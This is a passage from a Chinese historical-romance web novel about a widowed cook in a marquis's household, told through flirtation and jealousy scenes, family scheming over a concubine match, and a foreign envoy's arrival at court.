沈令薇莫名的背脊窜上一股寒意,“奴、奴婢出府采买了一些明日要用的吃食,这才不小心耽搁了。”
她强自稳定住心神,让自己看起来不那么紧张。
那双皂靴又朝前走了两步,一股淡淡的松墨香袭来。沈令薇不禁后退了两步。
可那双靴子又往前两步。
沈令薇再退。
那双靴子又往前。
直到最后,她后背抵到了大红的门柱上。
“侯、侯爷?”她抬起杏眸,满是疑惑地望着不断朝自己逼近的男人。
眼前的男人,眼神幽深,发出一股危险的光芒。
像是被什么东西困住的野兽。又像是终于抓到了猎物的猎人。
沈令薇心跳不由得加快,攥紧了手里的篮子把手。
裴谨之已经逼近她,两人之间的距离不过寸许。
从某种角度看上去,像极了两人正抱在一起的画面。
这时,裴谨之鼻翼微不可察地动了动。
下一秒,他周身气场猛地一变!
“你身上……为何有男人的味道。”
沈令薇脑子里“嗡”的一声,整个人骤然僵住!
第49章 奴婢没有卖身,私事无需向侯爷交代!
完了!
是在马车上钻裴惊驰的袍子时蹭到的。
她脑子里飞快地转着,可越急越乱,什么都想不出来。
裴谨之低头看着她,那双黑沉沉的眸子里,翻涌着她看不懂的暗潮。
“说。”
沈令薇咬着唇,不说话。
她能说什么?说她钻了他侄儿的袍子?
她说不出口。
裴谨之等了片刻,没等到回答。目光更沉了。
忽然,他抬手扣住她的下巴,迫使她迎上自己的目光。
“沈氏,本侯在问你话!”
沈令薇被迫对上那双近在咫尺的黑眸。
那里面有愤怒,妒火,还有一种近乎失控的……占有。
她心尖一颤。
“侯爷!”她努力维持平静,“奴婢……没有!”
她有预感,若是让侯爷知晓她和裴惊驰扯上关系,下场会很惨。
反正她来个抵死不认。就算他要去查也无所谓。
大不了在这之前,她辞工,带着安安跑路就是!
思及此,也不知哪儿来的勇气,她抓住裴谨之扣住她下颌的手腕,道:
“奴婢虽是侯府的下人,但并没有卖身侯府,奴婢的私事,似乎也不需要向侯爷交代!”
这话有些直白,甚至说是僭越。
可这是她眼下能想到的,唯一的退路。
“好一个无权干涉!”裴谨之冷笑,眼底的潮翻涌得更加厉害。像随时能把人吸进去。
下一秒,他猛地朝沈令薇压下去。
沈令薇下意识把头一偏,裴谨之的唇,擦过脸颊,落在了她的耳边。灼热的气息悉数喷洒在她颈侧,汗毛根根竖起。
沈令薇瞬间绷直了身体,头皮发麻。
裴谨之冷笑一声,单手撑在墙上,将她困在自己和墙壁之间。
“沈氏,你是不是忘了,这侯府上下,本侯说了算。”
他的气息烫得吓人,像是要把她灼穿。
“本侯若要一个人,有没有那张卖身契,又有什么打紧?”
察觉到他周身气压骤降,那双薄唇也带着不容拒绝的力道,朝着她另一侧脸颊落过来。
沈令薇那根紧绷的弦,眼看就要断掉。
最后一刻,沈令薇也不知哪儿来的勇气,身体猛地往下一缩,整个人像一条滑溜的鱼,直接从他腋下钻了出去!
等裴谨之反应过来时,她已经退到了三步开外,发髻微散,脸颊绯红,胸口剧烈起伏着。
“二少爷快要放学了,奴婢还要去准备吃食,先告退了。”
沈令薇不敢去看他那张黑成锅底的脸色,丢下这句话,逃似地冲向了厨房。
裴谨之还站在原地,空气里似乎还残留着淡淡的香气。
他双拳紧攥,脸色阴沉得能滴出水来。
“陈凡。”他朝门外喊了一声。
沉凡硬着头皮上前。
“去查,看她今日都去了什么地方!”
-
晚些时候,孩子们都下学回府。
陈石头领着二少爷和安安,一同跨进门槛。
沈令薇在厨房里忙活,听到消息后忙把手里的活计交给银杏,前往正院。
“娘亲!”
半路上,遇见了前来找她的安安,小小的身影像只归巢的小乳燕,踩着欢快的步子扑腾过来。
“娘亲你看!”她举着一只竹蜻蜓,献宝似的。
“这是瑶姐姐给我的,说我带去的‘云朵蛋糕’是她吃过最好吃的东西,非要把这个送给我。”
“还有这个,这个……”她从身后掏出来好几样小物件,什么小铃铛,小风车之类的。
“这个小球也是同学送的,我好喜欢……”
安安头一回进学校,眉飞色舞地分享着学堂里的趣事。沈令薇没打断,认真地听着,时不时问上一两句。
“那二少爷呢?今日在学堂可还好?”
她仍不忘关心裴恪,毕竟安安能上学,名义上是二少爷的伴读。
安安点头:“二少爷也很安静,吃了娘亲的蛋糕,他还写了字,夫子还夸赞了他呢。”
沈令薇又问了一些话,确定安安没受欺负,悬着的心才放下大半。
正说着,院门外又传来脚步声。
是裴野,正领着小厮阿贵进门。
“动作麻利点,把这些都给沈娘子送厨房去。”
裴野朝着阿贵指挥,把那些空食盒搬回厨房里。
“三少爷回来了?”
裴野上前,从怀里摸出来一个荷包,主动交到沈令薇手里。
“呐,这是今日的进账。”
沈令薇疑惑;“这几日的材料银子,三少爷昨天不是刚给过的吗?”
裴野板着脸,“这是给安安的。”
安安一脸问号:“给我的?”
裴野理所应当地点点头:“当然,这是你卖蛋糕的钱,我都替你收了。”
“啊?”沈令薇和安安同时傻眼。
“可是……那些都是我送给大家吃的呀?”安安道。
“
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你懂什么?”
裴野双手抱胸,一副过来人的口吻告诉安安:“你送得起,人家收得起,可明天呢?后天呢?大后天呢?”
“你今天送了,明天不送,人家会不会有意见?会不会觉得你小气?会不会以后天天盼着你带吃的,不带就给你脸色看?”
安安张了张嘴,像在消化裴野这话里的信息。
“可、可人家也送了我礼物呀……”
“我都记着呢,”裴野双手抱胸,“本少爷帮你瞧过了,那些懂事的,拿了笔墨纸砚或是小玩意儿当回礼的,我自然分文不收。可那几个只顾着张嘴白吃的,凭什么?想吃霸王餐,也得看我裴三少爷答不答应!”
裴野还有句话没说,那就是以后会影响到他‘代购’。
若是安安免费给那些小崽子带好吃的了,那谁还花五百文来当冤大头了?
裴野在内心为自己的机智点赞。
安安被说得一愣一愣的,下意识地看向母亲。
沈令薇沉吟一会儿,点点头,笑道:“三少爷说得也有道理,安安,先前是娘亲疏忽了,竟没考虑到这一茬。”
确实,升米恩,斗米仇。人心是最经不起惯的。今日白送,明日不送,反倒落埋怨。
再者,她先前确实忽略了三少爷还在搞‘代购’,这么一来,岂不是断人财路?
虽说童言无忌,但孩子的世界,也有自己的规矩。
就在几人正说话时,门口又多出来一道身影。
沈令薇抬头看去,愣了一瞬。
是裴朔。
他不知道在门口站了多久,面色有些不自然。
“大少爷?”沈令薇起身。
裴朔顿了顿,迈步走到安安面前,递给她一个盒子。
“大少爷这是……?”
裴朔别过脸,声音有些硬邦邦的:“这是回礼。”
几双眼睛同时朝他投过去,裴朔耳根有些红,解释道:
“你今日送我的点心……这是回礼。”
安安打开锦盒一看,里面是一支毛笔,小号的,竹制的,上头刻了一朵小梅花。
“哇,好漂亮!”安安的小眼睛瞬间被点亮。
“二少爷,不过是一块糕点,担不得这么贵重的礼物。”沈令薇拒绝道。
安安也意识到什么,忙将盒子塞了回去。
“娘亲说得对,大哥哥,这礼物太贵重了,安安不能收。”
裴朔看着手里的盒子,顿时脸更红了些,有些手足无措。
第50章 我要吃奶……皮子
气氛正僵着,院门口忽然传来一道懒洋洋的声音:
“哟,这是干嘛呢?分赃呢?”
众人回头看去。只见裴惊驰倚在门框上,桃花眼里满是促狭的笑。
他身旁还站着一个明眸皓齿的小女孩,正是裴瑶。
“瑶姐姐,你怎么来了?”裴野率先迎了上去。
裴瑶脚步轻快地跑来裴野身边:“听说二堂弟院子里的厨娘做菜很好吃,我也来凑凑热闹呀。”
她看到裴朔手里的盒子,指着问道:“你们在聊什么呀?”
紧接着,裴野便小嘴巴拉巴拉的,把大哥要给安安送回礼,安安却不肯收的事,眉飞色舞地讲了出来。末了还看向裴惊驰。
“大堂兄,你说,这礼物安安该不该收哇?”
裴惊驰慢悠悠地走进来,目光扫过裴朔那张红透的脸,又落在他手里那个锦盒上。
他伸手,拿过盒子看了一眼。
“就这?”
裴朔抿着唇,不说话。
裴惊驰笑了笑,把笔往安安怀里一塞:“收着。这东西不值什么钱,我那儿还有一堆,回头送你几支好的。”
沈令薇忙道:“大公子,这……”
“这种竹子做的笔,顶多也就三五文钱,拿去引火都嫌细,不过……”
见裴朔脸色涨红得都要滴出血来,他眼里闪过一抹精光,话锋一转,道:
“虽然这笔不值什么钱,但安安刚开蒙,怕是基础也薄弱。”
紧接着,他一巴掌拍在裴朔的肩膀上,“朔儿,你既收了人家的糕点,也别占便宜,不如从今儿起,你每天也来静和苑用膳,教导这丫头一个时辰的功课如何?”
话落,院子里静了一瞬。
沈令薇也心跳有些加快。
确实,安安刚开蒙,很多字都不认识,她一直担心跟不上进度。
可若是能得大少爷亲自教导,想必也是极好的。
但……
“大公子言重了,奴婢一介下人,怎敢劳烦大少爷……”
“可以!”裴朔突然开口,把所有人都诧异了一瞬。
唯独裴惊驰,像是早有预料一样,嘴角的笑意更深。
“你看,朔儿都没意见了,难道你不希望你女儿尽快赶上进度?”裴惊驰道。
沈令薇心下一暖。
她如何看不出来,这毛笔虽是竹制,但却是上等的湘妃竹,笔杆上的梅花刻得用心,笔毫也是精细的狼毫。
要是拿去书斋卖,少说也要三五两银子。
她看了看安安,又看了看裴朔那张故作冷淡,却耳根通红的小脸。
然后,弯下腰,郑重地朝他行了一礼:
“既然大少爷不嫌弃安安愚钝,那奴婢便腆着脸代安安承了这份情。”
裴朔下意识想扶,手伸到一半却又缩回来,淡淡地点了点头。
说完,她朝裴惊驰也行了一礼:“也多谢大公子周全。”
裴惊驰笑意不减,懒洋洋道:“别谢我,我是来蹭饭的。”
最后,沈令薇朝众人道:“那就请诸位稍坐,奴婢去掌勺,犒劳大家。”
几个孩子都欢欣鼓舞,拍手称赞。
裴野:“我要吃糖醋排骨。”
安安:“娘亲,我不挑食,吃什么都可以……”
裴朔没说话。
裴瑶眨眨大眼睛:“那我也吃糖醋排骨吧。”
轮到裴惊驰,他双手抱胸,目光在沈令薇胸前停留了一瞬:“我要吃奶……皮子。”
沈令薇‘腾’的脸红,没理他,转身进了厨房。
-
这头,裴谨之在给老夫人请安,顺便说着即将到来的春日围猎的事情。
“母亲,春日围猎的旨意已经下来了。就在下月初八,地点定在燕山围场。”
老夫人放下茶盏,叹道:“日子过得可真快,转眼又是三年一度的春猎盛事。”
“母亲年事已高,怕是受不得那山间的风凉与奔波,儿子正打算上折子,替母亲告了这份差事,让大嫂领着孩子们去便是。”
老夫人闻言,并不赞同,“此事不妥。”
“咱们定远侯府,你如今高居首辅之位,总领文臣百官,惊驰这孩子又争气,刚立了战功胜利回京,授了四品将军。如今京城上下,谁不盯着咱们侯府?那是鲜花着锦、烈火烹油,地位水涨船高,不知多少人眼热。”
“圣上此番点名要嘉奖侯府,那是莫大的恩典。我若不去,难免落个骄纵自满、恃宠而骄的口实。”
老夫人叹道:“谨之,你需记住,越是这种时候,咱们才更应该小心谨慎,步步为营。”
裴谨之听完,起身朝老夫人行了一礼:“母亲深谋远虑,是儿子狭隘了。只是……那围场终究清苦,儿子定会安排最妥帖的随从和医官,时刻守着母亲。”
“你费心了。”老夫人话锋一转,想到什么,“对了,刚才惊驰和瑶瑶来了,说去了静和苑吃饭,我琢磨着,既然孩子们都喜欢吃沈氏做的饭,不如这回春猎也让她一并跟了去,帮忙照顾孩子们的起居。”
老夫人后面说了什么,裴谨之没大听清。
他满脑子里都是那句‘惊驰和瑶瑶也去了静和苑用膳’,脑海
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里不由得浮现出一副其乐融融,欢声笑语的画面来。
心里竟有点酸。
他这个一家之主,都还没吃过这女人做的饭。
如今侄子才刚回来,就光明正大地来蹭饭。
裴谨之沉默了一瞬,点点头:“母亲说的是,儿子会安排。”
老夫人满意地点点头,想到今日刚接到清河崔家的消息,目光多了几分复杂
“谨之啊,玉娘也走了五年了,这府中的中馈虽说一直是你大嫂白氏在打理,但这三个孩子,终究还是要个能操持大局,体面端庄的主母啊。
先前我一直说给你安排相看,你也不上心,今日,崔家那边……”
“母亲,”意识到老夫人要说什么,裴谨之率先起身,躬身道:“此事不急,儿子忽然想起还有公文要处理,就不打扰母亲了。”
说完,他朝着老夫人行了一礼,转身出了寿安院。
屋里,老夫人朝着张嬷嬷直叹气:“你、你看看他……总是这副油盐不进的模样。”
张嬷嬷上前递茶:“许是侯爷忙于春日围猎的事,加上又听说最近北狄那边有意议和,侯爷或许是真的忙……”
老夫人:“每次都拿公务当借口。”
张嬷嬷笑笑:“好在崔家小姐已经动身了,算算日子,大概在围猎结束,就会抵达上京了。”
老夫人紧了紧手里的佛珠,双手合十地祈祷:“但愿菩萨保佑,这崔家小姐,可千万别让老身失望啊……”
-
与此同时,百里之外的官道上。
一辆看似素雅,实则内里装饰极为讲究的马车,正缓缓行驶着。
“阿嚏……”
车帘被一只纤纤玉手掀开一角,露出半张清丽的面容。
丫鬟红杏忙递上帕子:“小姐,可是着凉了?要不要停车加件衣裳?”
女子接过帕子,轻轻压了压鼻尖,摇头:“不必。”
“去京城的路还要多久?”
红杏探出头,看了眼天色:“照这个速度,估摸着还有二十天就能抵达京城了。”
女子眉头微蹙。
二十天,太久了!
孔嬷嬷来信说了,侯府今日多了个堂姐的‘影子’,日日在姐夫跟前晃悠,催她务必尽快进京,最好能在春日宴之前抵达……
再有十日,就是京城的春日宴了。
届时世家云集,正是亮相的好时机。
她收回思绪,朝侍女吩咐:“红杏,传话下去,不必怜惜马力,务必要赶在春日宴之前抵达京城。”
“是!”侍女答。
……
第51章 他在她耳边,说了句混账话
“陆酉?”
书房里,裴谨之捏着面前的资料,眉宇间凝起一层寒霜。
陈凡站在一旁,替他解惑:“是的侯爷,属下调查到,沈娘子先前在石子巷落脚,因陆老夫人曾对沈娘子有过照拂之恩,两家便顺势认了干亲。而这位陆老夫人的独子,正是今年圣上钦点的新科状元,陆酉。”
顿了顿,陈凡又补充道:“据查,陆大人在外公干的这半年,沈娘子时常出入帮衬家务,浆洗缝补,陆老夫人一直将她当做准儿媳看待,往来密切。昨日,沈娘子在陆家待了足足半个时辰才出来……”
书房内的气压降到冰点。
裴谨之目光落在‘陆酉’那个名字上,眼底泛着些许冷意。
新科状元,陆酉。
竟是她的义兄?
两家还是邻居,往来密切?
呵!
果真不安分。
一股无名火突然窜出来,像在焚烧着五脏六腑。
他挥挥手,让陈凡退下。自己则鬼使神差地,走到了静和苑。
然,在看到院子里的场景时,裴谨之不由得脚步一顿。
只见原先清冷的静和苑,院子里摆了张大圆桌,上面摆放着热气腾腾的饭菜。
裴惊驰正挽着袖子,毫无将军威仪地跟裴野抢最后一只生煎包,嘴里还嚷嚷着:“臭小子,尊老爱幼懂不懂?”
“大堂兄,你这就叫为老不尊了!”裴野仗着人小动作快,一筷子死死按住那只生煎包。
“你可是上阵杀敌,以一敌百的大将军,怎么还跟我一个小孩子抢生煎包了?我还小,还在长身体呢。”
说完,裴野不等裴惊驰动作,抢先把生煎包塞到了嘴里,嘴巴鼓起像只小河豚。
裴惊驰作势要弹他脑门:“你这小胖墩,少吃这一个能瘦到哪儿去?再说,你二哥还没发话呢,轮得到你在这儿指点江山?”
“二哥才不会跟我抢,二哥哥最疼我了!略略略……”
“大哥你输啦!你连三堂弟都抢不过!”裴瑶翻了个白眼。
“我那是让他懂不懂?”
一大一小的胡闹,惹得满桌笑声。
沈令薇在给裴恪剥虾,趁着空隙还给裴瑶和裴朔夹菜。
“大少爷,别光吃肉,吃点青菜。”
“瑶小姐,听说你最爱吃排骨,尝尝看?”
暖黄的灯火,沸腾的烟火气,孩子们稚嫩的吵闹声,以及那个女子穿梭其间、润物无声的照料……
这一幕,和谐的像一幅全家图,美得惊人。
却又该死的刺眼。
裴谨之站在廊下的阴影处,觉得自己像是个被遗弃的外人一样。
他看到裴惊驰又凑到沈令薇身边,不知道说了什么,逗得沈令薇再次低头轻笑。
他心口那股被压下去的无名火,比刚才在书房燃烧的还要旺。
多可笑!
他才是侯府的主人,里头是他的儿子,他的院子。
“侯爷?”
陈石头发现了他,出声唤道。
一瞬间,院子里的喧闹声戛然而止。
裴野吓得赶紧把最后一口生煎包咽下,结果呛得流眼泪。
“咳咳……咳咳……”
“三少爷,您慢点。”沈令薇急忙递上一杯水,轻轻拍打着他的后背。
“小叔?你怎么来了?”裴惊驰主人似的招呼。
“可用过晚膳了?要不要一起来吃点?”
说着他起身让位。
一旁,裴瑶和裴朔也起身,让出身边的位置。
裴恪虽不知发生了什么,也学着哥哥姐姐的样子站起来,连碗里的虾都顾不上吃了。
沈令薇就更不用说了,立马敛去笑意,垂首伺立,安安则小心翼翼地跟在她身边,有些怯生生的看着裴谨之。
裴谨之:“……”
最终,他收回了原本要跨出去的那只脚,声音听不出起伏:“不必,我只是过来看看。”
裴惊驰挑眉:“真不吃?沈娘子做的生煎包,可好吃了。”
裴谨之没说话,他目光在沈令薇身上停留了一瞬。
沈令薇依旧低着头,脑袋缩着,看不清表情。
裴谨之转过身,大步离去。
等他走远后,院子里仿佛又恢复了先前的喧闹声。
“吓死我了,爹怎么突然过来了?我还以为他又要罚我呢。”裴野心有戚戚地道。
“谁让你功课这么菜?你要有大堂弟一半的水平,不至于这样。”裴瑶补刀。
……
酒足饭饱,孩子
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们在院子里嬉戏玩闹,沈令薇和银杏收拾残局,进了厨房。
她现如今是静和苑的管事,按理说这种事不用她再亲自动手的。
可银杏这两日来了小日子,喊肚子疼。
沈令薇便让她自己煮了点红糖水先下去歇着,她负责清理锅碗。
正忙碌时,察觉门口多了道影子。
她回头看去,却见裴惊驰不知道什么时候进了厨房,正倚在门框上,手里还把玩着安安的小风车。
“大公子?”沈令薇有些诧异,忙在围裙上擦了擦手,“此地油污重。”
裴惊驰没动,无所谓道:“怕什么,我这没有那些虚头巴脑的讲究,打仗的时候,茅坑都藏过。”
沈令薇擦手的动作一顿,抬头看着眼前的男人。内心一时间震荡。
有些说不上来的感觉。
她没经历过战争,可此刻从他这漫不经心的话里听来,战争的残酷仿佛具象化。
她忽然觉得,眼前这个人,和那些高高在上的世家公子,不太一样。
她擦了擦手,认真地看着他:“大公子。”
裴惊驰挑眉:“嗯?”
“大周有您这样的将军,是百姓的福气。”
她声音很轻,也很认真,“奴婢虽然不懂打仗的事,但也知道,边关苦寒,刀剑无眼。您在前头拼命,后头的百姓才能过上安稳日子。”
裴惊驰愣了一下,手里的小风车也不转了。
沈令薇朝他福了福身:“奴婢替大周的百姓,谢谢大公子。”
裴惊驰眼底笑意更深,嘴角上扬,猛地向前跨出几步,原本就局促的空间,瞬间被他高大的身影完全侵占。
“怎么?这就感动了?”
他微微低头,酒气喷洒在沈令薇敏感的耳廓上,激得她一阵战栗。
他将沈令薇圈禁在灶台间,语气魅惑又充满挑逗。
“沈娘子这声谢谢,也太虚了些。”
“那你可知,当初我在雪地里快要冻死的时候,心里想的是什么吗?”
沈令薇碍于这个姿势,心跳得像擂鼓,鼻息间全是他霸道的气息,脑子里也乱了一拍,“什、什么?”
裴惊驰将薄唇贴在她耳根边,说了句暗示性十足的混账话。
第52章 你知不知道,你在玩火?
“我当时想着,若能活着回来,定要第一时间吃上一顿热乎乎的饭菜。”
“吃干!抹净的那种。”
他贴着沈令薇的耳根子,贪婪地吸了一口她脖颈间的气息,慢悠悠的开口:
“沈娘子,你这灶房里的火烧得挺旺,就是不知……你这身子的火,滋味如何?”
沈令薇足足卡了十秒钟,脑子里“轰”的一声,羞愤交加。
活了两世,竟是第一次被人如此直白地调戏!
她的脸红得像煮熟的虾,耳朵根子都在发烫。
可下一秒。
等等!
沈令薇,你怕什么?
你一个二十五岁,生过孩子的成熟女性,被一个小两岁的毛头小子几句话撩得落荒而逃?
活了两辈子,看过的小黄文还少吗?
这种级别的撩拨,搁现代,顶多算个擦边而已。
沈令薇深吸一口气,再抬头时,眼底没有了羞愤,已经慢慢变成另一种东西。
她弯了弯唇角,抬手掸了掸他肩上并不存在的灰尘,“大公子想知道?”
她声音软软的,像在逗弄一只小猫。
裴惊驰一噎,桃花眼里光亮更盛。
“沈令薇,”他嗓音沙哑,“你知不知道,你在玩火?”
沈令薇看着她,笑得无辜:“大公子,明明是您先点的火……”
说完,她忽然抬手。
裴惊驰以为她又要摸上来,喉结滚动,整个人都绷紧了。
结果,沈令薇只是捻起他肩头的一根头发,轻轻一吹。
“呼!”
“大公子,奴婢这灶上的火,只做饭,不做别的。”
说完,她推开裴惊驰,转身就走。却被男人一把扣住手腕。
“去哪儿?”
沈令薇忽然一笑,抬手,隔着衣服在他胸肌上轻轻一抓。
裴惊驰倒吸一口冷气。
浑身的血液像是被她这一抓瞬间点燃,一股从未有过的、酥麻到骨子里的刺激感直冲天灵盖。
“大公子,火旺伤身,奴婢还是去给您泡碗去火茶吧。”
说完,她没再看裴惊驰那张青白交加,却又写满憋屈和亢奋的脸。
裴惊驰还站在原地,依旧保持着那个姿势,胸口剧烈起伏着。
他低头,看着胸前被她‘抓’过的地方,低咒了一句:“妈的,真是栽了……”
心头的那股征服欲,前所未有地膨胀起来。
-
接下来的两日,裴谨之因为要处理春日围猎的事,被急诏入宫,裴惊驰也因忙于春猎调兵,静和苑难得过了两天安稳日子。
这日,安安放学回来的时候,小脸上没什么精神,脑袋也有些拉耸着。
沈令薇洗干净手,蹲下来与她平视:“怎么了?今天在学堂不开心?”
安安摇头,又点头。
“周夫子摔了一跤,腿伤了,大夫说要养好久好久,娘亲,安安以后是不是就不能上学了?”
沈令薇一愣。
“以后就没有夫子教安安学识字了呜呜……”小女孩说着,眼泪就大颗大颗砸落下来。
这时,一道不满的声音自门口响起:“谁说没人教了?夫子说了,会推荐他最得意的学生来给咱们授课,听说还是今年的新科状元呢,学问一定也很厉害,你就别伤心啦。”
说话的是裴野,对于夫子受伤一事,他倒是没多大情绪。要是不上学,对他来说反而更好。
“新科状元?是很厉害的人吗?”安安的大眼睛里充满了疑惑。
“那当然,”裴野挺起胸脯,开始给安安科普,“状元就是全天下读书人里考第一的!好几千人考试,他一个人把所有人都比下去了,你说厉不厉害?”
安安眼睛瞪得溜圆:“好几千人?”
“对啊,听说他写了一篇什么……什么论,圣上都亲自夸了,说他‘见识不凡,有经世之才’!”
“是《定鼎安民论》,”又一道声音响起,补充了裴野的话。
几人回头,却见裴朔和裴恪走了进来,开口的是裴朔。
裴野急忙纠正:“哦对对,就是《定鼎安民论》哈哈。”
这时,裴朔朝安安安慰道:“你放心,这位陆状元学识渊博,说不定讲课会更有意思呢!”
安安悬着的心放下来,终于破涕为笑。
“那就好,这样我就能继续跟着三位少爷一起上学啦。”
对于能上学,安安显然十分向往。
沈令薇在一旁听着,心里却微微一动。
新状元姓陆?她记得,干娘的儿子好像也姓陆的。
会这么巧吗?
……
翌日,老夫人召见了沈令薇,告诉她春日围猎的事,计划让她也跟过去伺候。
“猎场条件不比府里,孩子们都习惯了吃你做的饭,胃口娇嫩,这件事交给别人,我不放心。”
“届时你便带上安安,随朔儿,恪儿,还有小野一同
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出发。静和苑那边会多拨几个帮厨的丫头过去,不让你太累。”
沈令薇顺从地点头,“奴婢听从老夫人吩咐。”
想来,老夫人是不放心把三个孩子独自留在府上,所以宁愿劳累一点,也要带着他们一起。
不过这样也好,主子们都去了,做下人的自然得跟着。
之后,老夫人看了看她,又说起另一件事:
“另外,最近静和苑的事,我也听说了,沈氏,你把恪儿照顾得很好,听说就连朔儿和小野也天天跑去静和苑用膳。我瞧着小野最近又圆润了不少,这都是你的功劳。”
沈令薇浅浅点头:“奴婢本就是静和苑的厨娘,照顾几位小主子是分内的事。”
老夫人满意地点点头,抬手招来张嬷嬷,从托盘上拿起一个沉甸甸的布包。
“这里是五十两,算作你这段时间的奖励,你好好当差,照顾好三位小少爷,侯府定不会亏待了你。”
沈令薇大大方方地收下,朝老夫人福身:“多谢老夫人赏赐,奴婢定当尽心竭力,照顾好三位小少爷饮食起居。”
老夫人点头,朝她摆手;“去吧,围猎的事,到时候会有人通知你。”
沈令薇应下,捧着那包银子退了出去。
屋里,张嬷嬷笑吟吟地上前,替老夫人捏肩:“老夫人,老奴瞧着,这沈厨娘当真是个极难得的。对几位小主子也是掏心掏肺的忠诚。”
老夫人闭上眼睛,感受着肩上的力道,没睁眼,道:
“她做得再好,只要没个正经名分,终究是个拿钱办事的‘外人’。”
张嬷嬷捏肩的动作一顿,心领神会道:“您的意思是……要把她留下来?”
老夫人又道:“这人啊,有了牵挂,心才能定下来。”
“她是个有本事的,若只当个厨娘,心野了随时都能离去。可若是进了侯府的门,当了姨娘,那这辈子就只能是侯府的人。”
给她一个名分,让她名正言顺的护着三个孙子,这买卖值。
张嬷嬷想到什么,欲言又止;“那……崔家那边?”
老夫人:“崔家那丫头,是冲着‘侯夫人’这个名头来的。我纳沈氏,是为了护住三个孙儿。”
老夫人语气里多了几分意味深长:“再说了,鸡蛋不能放在一个篮子里。两头都备着,总有一头能成。”
张嬷嬷奉承:“还是老夫人想得长远。”
……
第53章 我喜爱绝色
与此同时,皇宫,太极殿。
今日是北狄使者入朝觐见的日子,宽敞雄伟的大殿内,香烟袅袅,金碧辉煌,文武百官分列两侧。
气氛肃穆,却暗流涌动。
裴谨之立于百官之首,一品首辅的紫色官服衬得他身姿愈发挺拔。
他身后不远处,裴惊驰一身绯色官服,立在武将的行列中,眉目俊朗,在一众中年武将中格外显眼。那双桃花眼里没了平日的玩世不恭,只剩下武将的沉稳,与锋锐。
有老臣悄悄侧目,打量着这位新晋的少年将军,七年前离京时还是个混世魔王,如今却已是让北狄人闻风丧胆的“裴阎王”。
“陛下!”兵部尚书出列,率先打破沉默。
“臣接到密报,北狄此番前来的使者,乃是北狄王最为宠爱的小王子,赫连绯,传言此人为人阴险,行事诡异,且此行还带了北狄成名已久的高手随行,咱们不得不防啊。”
这番话引起不少大臣的附和,大殿上响起一阵议论声。
“是啊,听闻那赫连绯手段阴毒,不可不防。”
年过五旬的皇帝目光扫过大殿,最后落在为首的裴谨之身上。
“裴爱卿,此事,你怎么看?”
裴谨之位列上前,公事公办地开口:“陛下,北狄是真心议和也好,试探也罢,不在他们派谁来,而在他们带什么来。”
“哦?此话怎讲?”皇帝追问道。
裴谨之声音不疾不徐地在大殿上响起:“若其当真存了议和之心,大周自是礼仪之邦,以上宾待之。”
“可若其妄图借高手之势滋扰生事、辱我朝纲,大周的将士也并非泥塑木雕。针对彼方随行之徒,臣已命李统领暗中从禁卫军中甄选出数名顶尖高手,日夜监控鸿胪寺异动,以防万一。”
皇帝听完,脸上露出欣慰之色。“裴爱卿办事,朕向来放心。”
他目光扫过群臣:“此事就交由裴爱卿全权处置。礼部协助,北狄使者在京期间,一应接待、护卫、谈判,都由裴爱卿来统筹。”
众臣齐声行礼:“臣遵旨。”
很快,殿门外有内官前来通报:“启禀陛下,北狄使者到。”
皇帝点点头,很快,大殿外响起礼官的唱报声:“宣北狄使臣觐见——”
很快,殿门外出现几道人影,为首是一道红色身影,逆着光,大步走了进来。
正是此前蛰伏在南风馆的头牌,赫连绯。
他今日没有穿那身妖冶的红衣,而是换上了北狄使者的正式礼服。
玄色底袍,金线绣着狼纹,腰间束着玉带,长发以金冠束起。
脸依旧是那张脸,狐狸眼微挑,只是那妖孽之气收敛了几分,多了几分属于王族的矜贵与锋锐。
他的身后,跟着一个北狄武士,身形魁梧,目光如鹰。另一人则是个中年文臣模样,四十出头。
“北狄使者赫连绯,奉我王之命,拜见大周皇帝陛下。”
赫连绯在大殿中央站定,右手抚胸,微微弯腰行礼。
皇帝微微颔首,“使者远来辛苦。赐座。”
人群中,裴惊驰在见到赫连绯这张脸时,瞳孔微微缩起。
紧接着,朝会依例进行,礼部官员上前与北狄使臣交割礼单,北狄则献上牛羊布匹之类的。
一套繁文缛节走完,已过了小半个时辰。
朝会的最后,赫连绯目光缓缓扫过群臣,最终落到裴惊驰身上。
“久闻大周人才济济,今日一见,果然名不虚传,这位,想必就是名动大周的裴少将军吧?”
“听闻当初雁城一战时,裴少将军以三千残兵,硬抗我北狄两万铁骑,足足七日。今日一见,裴少将军果真是英武不凡。”
裴惊驰上前,朝他拱手一礼:“小王子谬赞。大周将士万千,本将军不过是其中最不入流的一个。”
他话锋一转:“倒是小王子,身在草原,却对我大周的一砖一瓦都了如指掌,就连南风馆哪里有暗道,都一清二楚。”
此话一出,大殿内的气氛陡然一变,落针可闻。
赫连绯脸上笑容加深:“裴少将军这话,可真是羞煞小王了。”
“小王自幼愚钝,既不会领兵打仗,也不会吟诗作赋,父汗常骂我不务正业。此生唯有一点微末爱好,便是喜爱这世间的‘绝色’。”
说到这里,他狐狸眼微微眯起,像是在回味什么。
“不过还真别说,这中原的美人,果真如同这京城的酒一样,当真是让人……食髓知味
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呢。”
大殿上,不少大臣听闻后,都忍不住在心里冷嗤,觉得这北狄的小王子,就是个酒囊饭袋,贪花好色的纨绔废柴,根本不足为虑。
然,裴惊驰却并未因此放松警惕。
他太清楚这赫连绯,绝非表面看起来这般简单。
-
与此同时,侯府。
沈令薇刚采买食材回府,就看到安安哭红了眼睛,小跑到厨房。
“不好了娘亲,有人欺负三位少爷,三少爷和人打起来了!”
沈令薇一听,手里的篮子‘哐当’一声掉在地上,瓜果蔬菜落了一地。
她急忙扶住安安的肩膀,问:“怎么回事?”
安安抽抽噎噎的,很快说出了事情的经过。
原来,裴野这几日靠着代购赚了些银子,小腰包鼓了起来,走路都带风。
这事不知怎的就传到了英国公府世子王耀祖耳朵里。
王耀祖比裴野大两岁,是京城出了名的小霸王。斗鸡走狗、惹是生非,样样精通,他爹英国公管不住,他娘又溺爱,养得他一身的霸王脾气。
他在学堂也一直和裴家三兄弟不对付,尤其是裴野。
今日下学后,他带人堵住了裴野。提出要跟裴野打赌,赢了,就给裴野一百两,输了,裴野的那些银子都给他。
裴野一开始不想比,结果王耀祖手一挥,身后的几个跟班就起哄,说裴家三少爷是怂包,没种!
裴野受不了激将法,就赌了!
比试的是投壶,裴野先投,结果轮到王耀祖,对方竟然作弊,找来一个投壶高手代替。十箭九中。
结果可想而知,裴野输了。
王耀祖得意得不行,当即哈哈大笑,让裴野给银子,裴野说他们作弊,不肯给。
